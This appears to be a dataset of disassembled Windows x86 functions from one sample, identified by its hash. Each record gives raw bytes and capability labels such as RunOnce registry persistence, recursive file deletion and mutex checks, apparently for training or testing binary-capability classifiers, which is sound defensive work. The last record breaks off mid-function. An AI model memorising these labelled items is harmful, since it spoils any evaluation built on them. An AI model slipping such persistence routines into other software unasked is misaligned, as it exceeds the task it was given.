"push eax",
"call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]",
"test eax, eax",
"je 0x402196",
"push 0x401140",
"mov edx, esi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"jmp 0x402196",
"mov esi, 0x104",
"lea eax, [ebp - 0x108]",
"push esi",
"push eax",
"push dword [0x409a3c]",
"call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]",
"test eax, eax",
"je 0x4021de",
"lea ecx, [ebp - 0x108]",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x40219f",
"sub ecx, edx",
"mov edx, 0x4091e4",
"lea esi, [edx + 1]",
"mov al, byte [edx]",
"inc edx",
"test al, al",
"jne 0x4021b0",
"sub edx, esi",
"lea edi, [ecx + 0x50]",
"add edi, edx",
"push edi",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"jne 0x4021ec",
"push eax",
"push 0x10",
"push eax",
"push eax",
"mov edx, 0x4b5",
"xor ecx, ecx",
"call fcn.004044b9",
"push dword [ebp - 0x210]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"jmp 0x402256",
"mov eax, ebx",
"xor eax, 1",
"mov dword [0x408580], eax",
"mov eax, str.rundll32.exe__sadvpack.dll_DelNodeRunDLL32___s_",
"test ebx, ebx",
"jne 0x402204",
"mov eax, str._s__D:_s",
"push 0x4091e4",
"lea ecx, [ebp - 0x108]",
"push ecx",
"push eax",
"push edi",
"push esi",
"call fcn.0040171e",
"mov ecx, esi",
"add esp, 0x14",
"lea edx, [ecx + 1]",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x402220",
"sub ecx, edx",
"lea eax, [ecx + 1]",
"push eax",
"push esi",
"push 1",
"push 0",
"push 0x408530",
"push dword [ebp - 0x210]",
"call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]",
"push dword [ebp - 0x210]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"pop esi",
"mov ecx, dword [ebp - 4]",
"pop edi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x402267
|
[
"Get common file path",
"Persist via run registry key",
"Query or enumerate registry value",
"Set registry value"
] |
8bff558bec81ec48030000a10480400033c58945fc803d30854000000f84f9000000568d85bcfcffff33f650681f0002005668708040006802000080ff1508a0400085c00f85d0000000538d85b8fcffffbb38020000508d85c0fcffff899db8fcffff5056566830854000ffb5bcfcffffff1528a0400085c00f858e00000057bf040100008d85f8feffff575650e8b54f000083c40c8d85f8feffff5750ff1574a0400085c0741268401140008bd78d8df8feffffe86942000068e49140008d85f8feffff5068408040008d85c0fcffff5350e8dff3ffff83c4148d8dc0fcffff8d51015f8a014184c075f92bca8d4101508d85c0fcffff506a01566830854000ffb5bcfcffffff1518a04000ffb5bcfcffffff1530a040005b5e8b4dfc33cde8544900008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x348",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"cmp byte [0x408530], 0",
"je 0x402382",
"push esi",
"lea eax, [ebp - 0x344]",
"xor esi, esi",
"push eax",
"push 0x2001f",
"push esi",
"push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x402381",
"push ebx",
"lea eax, [ebp - 0x348]",
"mov ebx, 0x238",
"push eax",
"lea eax, [ebp - 0x340]",
"mov dword [ebp - 0x348], ebx",
"push eax",
"push esi",
"push esi",
"push 0x408530",
"push dword [ebp - 0x344]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"test eax, eax",
"jne 0x402374",
"push edi",
"mov edi, 0x104",
"lea eax, [ebp - 0x108]",
"push edi",
"push esi",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"lea eax, [ebp - 0x108]",
"push edi",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]",
"test eax, eax",
"je 0x402321",
"push 0x401140",
"mov edx, edi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"push 0x4091e4",
"lea eax, [ebp - 0x108]",
"push eax",
"push str.rundll32.exe__sadvpack.dll_DelNodeRunDLL32___s_",
"lea eax, [ebp - 0x340]",
"push ebx",
"push eax",
"call fcn.0040171e",
"add esp, 0x14",
"lea ecx, [ebp - 0x340]",
"lea edx, [ecx + 1]",
"pop edi",
"mov al, byte [ecx]",
"inc ecx",
"test al, al",
"jne 0x40234c",
"sub ecx, edx",
"lea eax, [ecx + 1]",
"push eax",
"lea eax, [ebp - 0x340]",
"push eax",
"push 1",
"push esi",
"push 0x408530",
"push dword [ebp - 0x344]",
"call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]",
"push dword [ebp - 0x344]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"pop ebx",
"pop esi",
"mov ecx, dword [ebp - 4]",
"xor ecx, ebp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x402390
|
[
"Delete directory",
"Delete file",
"Enumerate files on windows",
"Enumerate files recursively",
"Set file attributes"
] |
8bff558bec83e4f881ec54020000a10480400033c48984245002000053568bf15785f60f8412010000803e000f8409010000bb040100008d8c2450010000568bd3e8aaf2ffff68f41140008bd38d8c2454010000e8caf2ffff8d442410508d84245401000050ff1594a140008bf883ffff0f84c4000000568bd38d8c2454010000e86af2fffff6442410108d44243c745868f811400050ff15d4a0400085c0747868fc1140008d44244050ff15d4a0400085c074648d44243c8bd3508d8c2454010000e85bf2ffff68401140008bd38d8c2454010000e81f4100008d8c2450010000e819ffffffeb30508bd38d8c2454010000e82bf2ffff68800000008d84245401000050ff1598a040008d84245001000050ff157ca040008d4424105057ff154ca1400085c00f854affffff57ff158ca1400056ff15a8a040008b8c245c0200005f5e5b33cce8044800008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"and esp, 0xfffffff8",
"sub esp, 0x254",
"mov eax, dword [0x408004]",
"xor eax, esp",
"mov dword [esp + 0x250], eax",
"push ebx",
"push esi",
"mov esi, ecx",
"push edi",
"test esi, esi",
"je 0x4024cb",
"cmp byte [esi], 0",
"je 0x4024cb",
"mov ebx, 0x104",
"lea ecx, [esp + 0x150]",
"push esi",
"mov edx, ebx",
"call fcn.00401680",
"push 0x4011f4",
"mov edx, ebx",
"lea ecx, [esp + 0x154]",
"call fcn.004016b3",
"lea eax, [esp + 0x10]",
"push eax",
"lea eax, [esp + 0x154]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_FindFirstFileA]",
"mov edi, eax",
"cmp edi, 0xffffffff",
"je 0x4024cb",
"push esi",
"mov edx, ebx",
"lea ecx, [esp + 0x154]",
"call fcn.00401680",
"test byte [esp + 0x10], 0x10",
"lea eax, [esp + 0x3c]",
"je 0x402479",
"push 0x4011f8",
"push eax",
"call dword [sym.imp.KERNEL32.dll_lstrcmpA]",
"test eax, eax",
"je 0x4024a9",
"push 0x4011fc",
"lea eax, [esp + 0x40]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_lstrcmpA]",
"test eax, eax",
"je 0x4024a9",
"lea eax, [esp + 0x3c]",
"mov edx, ebx",
"push eax",
"lea ecx, [esp + 0x154]",
"call fcn.004016b3",
"push 0x401140",
"mov edx, ebx",
"lea ecx, [esp + 0x154]",
"call fcn.0040658a",
"lea ecx, [esp + 0x150]",
"call fcn.00402390",
"jmp 0x4024a9",
"push eax",
"mov edx, ebx",
"lea ecx, [esp + 0x154]",
"call fcn.004016b3",
"push 0x80",
"lea eax, [esp + 0x154]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"lea eax, [esp + 0x150]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_DeleteFileA]",
"lea eax, [esp + 0x10]",
"push eax",
"push edi",
"call dword [sym.imp.KERNEL32.dll_FindNextFileA]",
"test eax, eax",
"jne 0x402407",
"push edi",
"call dword [sym.imp.KERNEL32.dll_FindClose]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]",
"mov ecx, dword [esp + 0x25c]",
"pop edi",
"pop esi",
"pop ebx",
"xor ecx, esp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4024e0
|
[
"Get common file path"
] |
8bff558bec81ec08010000a10480400033c58945fc5657bf040100008d85f8feffff575033f6ff1594a0400085c0744b68001240008bd78d8df8feffffe8684000008d85f8feffff50565656ff158ca040006a408d85f8feffff50ff1560a040008bf883ffff74136a025657ff1564a04000578bf0ff15b0a040008b4dfc8bc65f33cd5ee8774700008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"push edi",
"mov edi, 0x104",
"lea eax, [ebp - 0x108]",
"push edi",
"push eax",
"xor esi, esi",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"test eax, eax",
"je 0x40255b",
"push 0x401200",
"mov edx, edi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"lea eax, [ebp - 0x108]",
"push eax",
"push esi",
"push esi",
"push esi",
"call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]",
"push 0x40",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll__lopen]",
"mov edi, eax",
"cmp edi, 0xffffffff",
"je 0x40255b",
"push 2",
"push esi",
"push edi",
"call dword [sym.imp.KERNEL32.dll__llseek]",
"push edi",
"mov esi, eax",
"call dword [sym.imp.KERNEL32.dll__lclose]",
"mov ecx, dword [ebp - 4]",
"mov eax, esi",
"pop edi",
"xor ecx, ebp",
"pop esi",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x40256d
|
[
"Query or enumerate registry key",
"Query or enumerate registry value"
] |
8bff558bec5151560fb7c133f66685c00f849f00000033d242663bc2745d0f86980000006683f9030f878e0000008d45f88975fc50681900020056680c8040006802000080ff1508a0400085c075278d45fc5056565668e8804000ff75f8ff1528a04000ff75f8f7d81bc0f7d02145fcff1530a040008b75fceb418d45f88975fc5068190002005668388140006802000080ff1508a0400085c075da565656568d45fc50565656565656ff75f8ff150ca04000ebafe8b9feffff8bf08bc65e8be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"push ecx",
"push ecx",
"push esi",
"movzx eax, cx",
"xor esi, esi",
"test ax, ax",
"je 0x402622",
"xor edx, edx",
"inc edx",
"cmp ax, dx",
"je 0x4025e8",
"jbe 0x402629",
"cmp cx, 3",
"ja 0x402629",
"lea eax, [ebp - 8]",
"mov dword [ebp - 4], esi",
"push eax",
"push 0x20019",
"push esi",
"push 0x40800c",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x4025e3",
"lea eax, [ebp - 4]",
"push eax",
"push esi",
"push esi",
"push esi",
"push str.PendingFileRenameOperations",
"push dword [ebp - 8]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"push dword [ebp - 8]",
"neg eax",
"sbb eax, eax",
"not eax",
"and dword [ebp - 4], eax",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"mov esi, dword [ebp - 4]",
"jmp 0x402629",
"lea eax, [ebp - 8]",
"mov dword [ebp - 4], esi",
"push eax",
"push 0x20019",
"push esi",
"push str.SystemCurrentControlSetControlSession_ManagerFileRenameOperations",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x4025e3",
"push esi",
"push esi",
"push esi",
"push esi",
"lea eax, [ebp - 4]",
"push eax",
"push esi",
"push esi",
"push esi",
"push esi",
"push esi",
"push esi",
"push dword [ebp - 8]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]",
"jmp 0x4025d1",
"call fcn.004024e0",
"mov esi, eax",
"mov eax, esi",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x402773
|
[
"Get common file path",
"Query environment variable",
"Query or enumerate registry value"
] |
8bff558bec81ec1c010000a10480400033c58945fc53568b750833db578bf989b5f0feffff881f803e230f850f010000460fbe0650ff15d0a14000568885f7feffffff15eca1400050ff15eca140008985f0feffffbe040100008a85f7feffff3c530f84dc0000003c570f84c5000000516810124000518bd689b5e4feffff8d8df8feffffe884efffffffb5f0feffff8bd68d8df8feffffe87a3d00008d85e8feffff506819000200538d85f8feffff506802000080ff1508a0400085c00f858c0000008d85e4feffff50578d85ecfeffff50536840114000ffb5e8feffffff1528a0400085c0753e8b85ecfeffff83f802752b568d85f8feffff5057ff15eca0400085c074128d85f8feffff8bd6508bcfe8f6edffffeb0b8b85ecfeffff83f801750333db43ffb5e8feffffff1530a04000eb175657ff1594a04000eb11be040100005657ff1574a0400085db750fffb5f0feffff8bd68bcfe8b83c00008b4dfc33c05f5e33cd405be8fe4300008be55dc20400
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x11c",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"mov esi, dword [ebp + 8]",
"xor ebx, ebx",
"push edi",
"mov edi, ecx",
"mov dword [ebp - 0x110], esi",
"mov byte [edi], bl",
"cmp byte [esi], 0x23",
"jne 0x4028b2",
"inc esi",
"movsx eax, byte [esi]",
"push eax",
"call dword [sym.imp.USER32.dll_CharUpperA]",
"push esi",
"mov byte [ebp - 0x109], al",
"call dword [sym.imp.USER32.dll_CharNextA]",
"push eax",
"call dword [sym.imp.USER32.dll_CharNextA]",
"mov dword [ebp - 0x110], eax",
"mov esi, 0x104",
"mov al, byte [ebp - 0x109]",
"cmp al, 0x53",
"je 0x4028b7",
"cmp al, 0x57",
"je 0x4028a8",
"push ecx",
"push 0x401210",
"push ecx",
"mov edx, esi",
"mov dword [ebp - 0x11c], esi",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"push dword [ebp - 0x110]",
"mov edx, esi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"lea eax, [ebp - 0x118]",
"push eax",
"push 0x20019",
"push ebx",
"lea eax, [ebp - 0x108]",
"push eax",
"push 0x80000002",
"call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]",
"test eax, eax",
"jne 0x4028c3",
"lea eax, [ebp - 0x11c]",
"push eax",
"push edi",
"lea eax, [ebp - 0x114]",
"push eax",
"push ebx",
"push 0x401140",
"push dword [ebp - 0x118]",
"call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]",
"test eax, eax",
"jne 0x40289a",
"mov eax, dword [ebp - 0x114]",
"cmp eax, 2",
"jne 0x402892",
"push esi",
"lea eax, [ebp - 0x108]",
"push eax",
"push edi",
"call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]",
"test eax, eax",
"je 0x40288c",
"lea eax, [ebp - 0x108]",
"mov edx, esi",
"push eax",
"mov ecx, edi",
"call fcn.00401680",
"jmp 0x402897",
"mov eax, dword [ebp - 0x114]",
"cmp eax, 1",
"jne 0x40289a",
"xor ebx, ebx",
"inc ebx",
"push dword [ebp - 0x118]",
"call dword [sym.imp.ADVAPI32.dll_RegCloseKey]",
"jmp 0x4028bf",
"push esi",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"jmp 0x4028c3",
"mov esi, 0x104",
"push esi",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]",
"test ebx, ebx",
"jne 0x4028d2",
"push dword [ebp - 0x110]",
"mov edx, esi",
"mov ecx, edi",
"call fcn.0040658a",
"mov ecx, dword [ebp - 4]",
"xor eax, eax",
"pop edi",
"pop esi",
"xor ecx, ebp",
"inc eax",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x4028e8
|
[
"Get file version info"
] |
8bff558bec83ec3c538955f88bd15633f68955f48bde578bfe895df039727c0f8e550100008bc68975fc8b8a8000000003c281c284000000894dec8b8408bc0000008b4df803c250e83efeffff85c00f84280100008d45e450ff75f8ff152ca240008945e885c00f84d7000000506a42ff1580a040008bf885ff0f84fd00000057ff15a0a040008945e085c00f84eb00000050ff75e8ff75e4ff75f8ff1524a2400085c00f848e0000008d45dc508d45d8506844124000ff75e0ff1528a2400085c07474837ddc00746e8b45d88bde8b480c8b4008894de88b4dec8b55e881c1940000008945d48b45fc0345f403c18b4dd48945e08bf0ff76f4ff76f0e89f000000ff3689441dccff76fce89100000089441dc48d761883c30483fb087cd88b5df033f63975cc7c053975c47e0a3975d07c653975c87f6057ff15c0a040008b55f4eb208b45fc8b55f403c28b4dec8b5df039b40884000000752239b4088800000075198b45fc4383c03c895df08945fc3b5a7c0f8cb0feffff33f6468b4d0c891985ff740757ff1584a040005f8bc65e5b8be55dc2080057ff15c0a04000ebdc
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x3c",
"push ebx",
"mov dword [ebp - 8], edx",
"mov edx, ecx",
"push esi",
"xor esi, esi",
"mov dword [ebp - 0xc], edx",
"mov ebx, esi",
"push edi",
"mov edi, esi",
"mov dword [ebp - 0x10], ebx",
"cmp dword [edx + 0x7c], esi",
"jle 0x402a62",
"mov eax, esi",
"mov dword [ebp - 4], esi",
"mov ecx, dword [edx + 0x80]",
"add eax, edx",
"add edx, 0x84",
"mov dword [ebp - 0x14], ecx",
"mov eax, dword [eax + ecx + 0xbc]",
"mov ecx, dword [ebp - 8]",
"add eax, edx",
"push eax",
"call fcn.00402773",
"test eax, eax",
"je 0x402a65",
"lea eax, [ebp - 0x1c]",
"push eax",
"push dword [ebp - 8]",
"call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]",
"mov dword [ebp - 0x18], eax",
"test eax, eax",
"je 0x402a2c",
"push eax",
"push 0x42",
"call dword [sym.imp.KERNEL32.dll_GlobalAlloc]",
"mov edi, eax",
"test edi, edi",
"je 0x402a65",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GlobalLock]",
"mov dword [ebp - 0x20], eax",
"test eax, eax",
"je 0x402a65",
"push eax",
"push dword [ebp - 0x18]",
"push dword [ebp - 0x1c]",
"push dword [ebp - 8]",
"call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]",
"test eax, eax",
"je 0x402a20",
"lea eax, [ebp - 0x24]",
"push eax",
"lea eax, [ebp - 0x28]",
"push eax",
"push 0x401244",
"push dword [ebp - 0x20]",
"call dword [sym.imp.VERSION.dll_VerQueryValueA]",
"test eax, eax",
"je 0x402a20",
"cmp dword [ebp - 0x24], 0",
"je 0x402a20",
"mov eax, dword [ebp - 0x28]",
"mov ebx, esi",
"mov ecx, dword [eax + 0xc]",
"mov eax, dword [eax + 8]",
"mov dword [ebp - 0x18], ecx",
"mov ecx, dword [ebp - 0x14]",
"mov edx, dword [ebp - 0x18]",
"add ecx, 0x94",
"mov dword [ebp - 0x2c], eax",
"mov eax, dword [ebp - 4]",
"add eax, dword [ebp - 0xc]",
"add eax, ecx",
"mov ecx, dword [ebp - 0x2c]",
"mov dword [ebp - 0x20], eax",
"mov esi, eax",
"push dword [esi - 0xc]",
"push dword [esi - 0x10]",
"call fcn.00402a89",
"push dword [esi]",
"mov dword [ebp + ebx - 0x34], eax",
"push dword [esi - 4]",
"call fcn.00402a89",
"mov dword [ebp + ebx - 0x3c], eax",
"lea esi, [esi + 0x18]",
"add ebx, 4",
"cmp ebx, 8",
"jl 0x4029df",
"mov ebx, dword [ebp - 0x10]",
"xor esi, esi",
"cmp dword [ebp - 0x34], esi",
"jl 0x402a16",
"cmp dword [ebp - 0x3c], esi",
"jle 0x402a20",
"cmp dword [ebp - 0x30], esi",
"jl 0x402a80",
"cmp dword [ebp - 0x38], esi",
"jg 0x402a80",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GlobalUnlock]",
"mov edx, dword [ebp - 0xc]",
"jmp 0x402a4c",
"mov eax, dword [ebp - 4]",
"mov edx, dword [ebp - 0xc]",
"add eax, edx",
"mov ecx, dword [ebp - 0x14]",
"mov ebx, dword [ebp - 0x10]",
"cmp dword [eax + ecx + 0x84], esi",
"jne 0x402a65",
"cmp dword [eax + ecx + 0x88], esi",
"jne 0x402a65",
"mov eax, dword [ebp - 4]",
"inc ebx",
"add eax, 0x3c",
"mov dword [ebp - 0x10], ebx",
"mov dword [ebp - 4], eax",
"cmp ebx, dword [edx + 0x7c]",
"jl 0x402912",
"xor esi, esi",
"inc esi",
"mov ecx, dword [ebp + 0xc]",
"mov dword [ecx], ebx",
"test edi, edi",
"je 0x402a75",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GlobalFree]",
"pop edi",
"mov eax, esi",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret 8",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GlobalUnlock]",
"jmp 0x402a65"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x402caa
|
[
"Check mutex on windows",
"Extract resource via kernel32 functions"
] |
8bff558bec81ec08010000a10480400033c58945fc53565768fc08000033ff8bf15768409140008bda89353c9a4000e8d1450000682c0300005768208a4000e8c145000068040100005768c0884000e8b145000083c42433c040ba54914000b978124000a3ec9340006a7fe87519000085c00f84d10100003d800000000f87c60100005733c040505057ff1544a1400050a38c854000ff150ca140006a04ba349a4000b980124000e83819000085c0752233c0bab1040000506a10505033c9e84b170000c7052491400014070780e989010000f605349a4000c00f849500000068040100008d95f8feffffb98c124000e8f018000085c074b88d85f8feffff506a016a00ff15e4a04000a38885400085c07462ff156ca040003db7000000755533c9f605349a4000807415516a10516854914000ba4b050000e8d1160000eb1a6a046a206a006854914000ba24050000e8ba16000083f806741bff3588854000ff1588a04000c70524914000b7000780e9e7000000213d209140008bcbe8722e000085c0750aba20050000e9be000000803d3a8a400000740fb93a8a4000e843f5ffffe9b40000006a0a689c12400056ff15e0a0400085c0740a5056ff1528a140008bf8833d84814000007406ff153ca04000833d248a400000740533c040eb7d8bcfe85c08000085c0747066a1409a400033db43663bc3740c6683f80274066683f803753ff705349a4000000100007433f605388a400001752ae8d9e9ffff85c07521683e080000684705000068e019400050bad6070000e82f3600003d3d08000075178bc3eb15bab104000033c033c9506a105050e8b315000033c08b4dfc5f5e33cd5be8cb3d00008be55dc20400
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"push 0x8fc",
"xor edi, edi",
"mov esi, ecx",
"push edi",
"push 0x409140",
"mov ebx, edx",
"mov dword [0x409a3c], esi",
"call sub.msvcrt.dll_memset",
"push 0x32c",
"push edi",
"push 0x408a20",
"call sub.msvcrt.dll_memset",
"push 0x104",
"push edi",
"push 0x4088c0",
"call sub.msvcrt.dll_memset",
"add esp, 0x24",
"xor eax, eax",
"inc eax",
"mov edx, 0x409154",
"mov ecx, 0x401278",
"mov dword [0x4093ec], eax",
"push 0x7f",
"call fcn.0040468f",
"test eax, eax",
"je 0x402ef3",
"cmp eax, 0x80",
"ja 0x402ef3",
"push edi",
"xor eax, eax",
"inc eax",
"push eax",
"push eax",
"push edi",
"call dword [sym.imp.KERNEL32.dll_CreateEventA]",
"push eax",
"mov dword [0x40858c], eax",
"call dword [sym.imp.KERNEL32.dll_SetEvent]",
"push 4",
"mov edx, 0x409a34",
"mov ecx, 0x401280",
"call fcn.0040468f",
"test eax, eax",
"jne 0x402d7d",
"xor eax, eax",
"mov edx, 0x4b1",
"push eax",
"push 0x10",
"push eax",
"push eax",
"xor ecx, ecx",
"call fcn.004044b9",
"mov dword [0x409124], 0x80070714",
"jmp 0x402f06",
"test byte [0x409a34], 0xc0",
"je 0x402e1f",
"push 0x104",
"lea edx, [ebp - 0x108]",
"mov ecx, 0x40128c",
"call fcn.0040468f",
"test eax, eax",
"je 0x402d5b",
"lea eax, [ebp - 0x108]",
"push eax",
"push 1",
"push 0",
"call dword [sym.imp.KERNEL32.dll_CreateMutexA]",
"mov dword [0x408588], eax",
"test eax, eax",
"je 0x402e1f",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"cmp eax, 0xb7",
"jne 0x402e1f",
"xor ecx, ecx",
"test byte [0x409a34], 0x80",
"je 0x402dea",
"push ecx",
"push 0x10",
"push ecx",
"push 0x409154",
"mov edx, 0x54b",
"call fcn.004044b9",
"jmp 0x402e04",
"push 4",
"push 0x20",
"push 0",
"push 0x409154",
"mov edx, 0x524",
"call fcn.004044b9",
"cmp eax, 6",
"je 0x402e1f",
"push dword [0x408588]",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"mov dword [0x409124], 0x800700b7",
"jmp 0x402f06",
"and dword [0x409120], edi",
"mov ecx, ebx",
"call fcn.00405c9e",
"test eax, eax",
"jne 0x402e3a",
"mov edx, 0x520",
"jmp 0x402ef8",
"cmp byte [0x408a3a], 0",
"je 0x402e52",
"mov ecx, 0x408a3a",
"call fcn.00402390",
"jmp 0x402f06",
"push 0xa",
"push 0x40129c",
"push esi",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"test eax, eax",
"je 0x402e6e",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"mov edi, eax",
"cmp dword [0x408184], 0",
"je 0x402e7d",
"call dword [sym.imp.COMCTL32.dll_InitCommonControls]",
"cmp dword [0x408a24], 0",
"je 0x402e8b",
"xor eax, eax",
"inc eax",
"jmp 0x402f08",
"mov ecx, edi",
"call fcn.004036ee",
"test eax, eax",
"je 0x402f06",
"mov ax, word [0x409a40]",
"xor ebx, ebx",
"inc ebx",
"cmp ax, bx",
"je 0x402eb0",
"cmp ax, 2",
"je 0x402eb0",
"cmp ax, 3",
"jne 0x402eef",
"test dword [0x409a34], 0x100",
"je 0x402eef",
"test byte [0x408a38], 1",
"jne 0x402eef",
"call fcn.004018a3",
"test eax, eax",
"jne 0x402eef",
"push 0x83e",
"push 0x547",
"push 0x4019e0",
"push eax",
"mov edx, 0x7d6",
"call fcn.00406517",
"cmp eax, 0x83d",
"jne 0x402f06",
"mov eax, ebx",
"jmp 0x402f08",
"mov edx, 0x4b1",
"xor eax, eax",
"xor ecx, ecx",
"push eax",
"push 0x10",
"push eax",
"push eax",
"call fcn.004044b9",
"xor eax, eax",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
0311cd25f1aa8b6ac76eaa8fb0de23f63d6f26df4e7765a28402df31073b7e68
|
0x402f1d
|
[
"Get common file path",
"Set current directory"
] |
8bff558bec81ec10010000a10480400033c58945fc66833d388a400000535657752d833d248a4000007517e89822000085c00f84ec00000066833d388a400000750de8db0a000085c00f84d5000000e8f321000085c00f84c8000000e82226000085c00f84bb000000be050100008d85f4feffff5650ff1574a0400068441140008bd68d8df4feffffe8df3500008d85f4feffff50ff1578a040008bd833ff85db743768a812400053ff159ca040008985f0feffff85c074218bf48bc85768e4914000ff1588a24000ff95f0feffff3bf47407b904000000cd2953ff15aca04000393d248a40007511393d309a40007509e80b32000085c0742a68e4914000ff15fca0400085c0752e576a105757babc04000033c9e882140000e849320000a32491400033c08b4dfc5f5e33cd5be8903c00008be55dc3393d2c8a40007509e8c50a000085c074dcf605488d4000c0750e668b0d409a4000e8f3f4ffff8bf8a1248a4000893d449a400085c075163905309a4000750ee80a0b000085c074a5a1248a400066833d388a400000750985c07505e8b510000033c040eb8a
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x110",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"cmp word [0x408a38], 0",
"push ebx",
"push esi",
"push edi",
"jne 0x402f6c",
"cmp dword [0x408a24], 0",
"jne 0x402f5f",
"call fcn.004051e5",
"test eax, eax",
"je 0x403041",
"cmp word [0x408a38], 0",
"jne 0x402f6c",
"call fcn.00403a3f",
"test eax, eax",
"je 0x403041",
"call fcn.00405164",
"test eax, eax",
"je 0x403041",
"call fcn.004055a0",
"test eax, eax",
"je 0x403041",
"mov esi, 0x105",
"lea eax, [ebp - 0x10c]",
"push esi",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]",
"push 0x401144",
"mov edx, esi",
"lea ecx, [ebp - 0x10c]",
"call fcn.0040658a",
"lea eax, [ebp - 0x10c]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LoadLibraryA]",
"mov ebx, eax",
"xor edi, edi",
"test ebx, ebx",
"je 0x402ff7",
"push 0x4012a8",
"push ebx",
